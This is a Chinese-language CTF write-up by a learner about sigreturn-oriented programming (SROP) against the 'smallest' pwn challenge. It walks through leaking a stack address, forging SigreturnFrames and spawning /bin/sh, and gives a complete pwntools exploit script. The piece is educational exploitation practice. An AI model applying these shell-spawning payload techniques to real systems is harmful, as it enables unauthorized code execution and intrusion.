srop

Srop

Srop大概是一种,没有其他函数,找gadget会比较麻烦,无法利用来leak地址,借助signal handle机制’sigreturn’的系统调用,更改signal frame(这是一段代码)的一些寄存器的值做到系统调用,主要相关的寄存器有:rax(系统调用号)、rdi(存参)、rip(下一条指令)、rsp(栈顶),还有就是re_sigreturn(存sigreturn的系统调用号,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15)

偷偷搬运一下wiki里的图,这就是一个signal frame,最后执行完sigreturn之后会执行execve(‘/bin/sh’,0,0)

这里懂了,大概的原理就懂了一点了(其实我很懵)
然后看到了我们的smallest

整个程序只有start函数,没办法调用write和puts这些来leak stack_addr,这就要用到我们的srop了。

首先看懂我们的程序到底在干啥,貌似是在执行read函数,但是我们在gdb里跑一遍是可以发现我们下一步是没有操作了的。然后我们知道read和write函数只是第一个参数不一样,那我们就改一下rax的值,看到有xor 操作就知道它置零了rax,我们要做的就是绕过那一步

那我们先让程序到start最开始的地方,即0x4000b0的地方,然后直接更改低位地址为b3,绕过置零的步骤,就成功调用write了,在leak之后我们还要返回这个程序,所以要再填入一个0x4000b0
所以第一步我们发送三个起始地址实现leak

1
payload = p64(start_addr) * 3

在实现leak之后就要想办法把execve(‘/bin/sh’,0,0)写入栈里,最后再实现调用

然后我们知道rax这个寄存器非常特殊,它除了被用来指定系统调用的调用号之外,也是函数返回值最后存放的地方。因此,我们可以利用控制函数返回值来控制rax寄存器的值。(其实我不知道的,所以看大佬wp的时候还一脸懵,不知道为啥非要填15个字符,想着又不是格式化字符串,看来还是我太菜了)
然后我们将rax寄存器设置成15(sigreturn的系统调用号),然后调用一个syscall,这个效果就和调用一个sigreturn是一样一样的(所以在额外我们再次写入了syscall)

所以第二步是利用sigreturn构造read的frame,第三步是往栈里写入execve(‘/bin/sh’,0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
#把frame写入栈中
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x150 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x150 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
# gdb.attach(sh)
payload = p64(start_addr) * 3
sh.send(payload)
gdb.attach(sh)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x150 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x150 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()


放一张23R3F大佬的理解过程图,写得很明了了
(不过关于p64(0)的地方为什么会变成syscall那长度为0xf的东西,我真的没理解到,感觉那个东西只是作为返回值,然后长度传给了rax,然后我一直以为p64(0)只是为了让frame如从上上图的结构,看来还得继续学习理解啊)

感觉srop就粗略的通过这题过了一下子,很多关于机制和寄存器的原理还是有点懵,底层知识还不扎实,要好好补补了

相关参考链接:
https://www.freebuf.com/articles/network/87447.html srop的原理
https://www.jianshu.com/p/b838a10b63c7 23R3F师傅的wp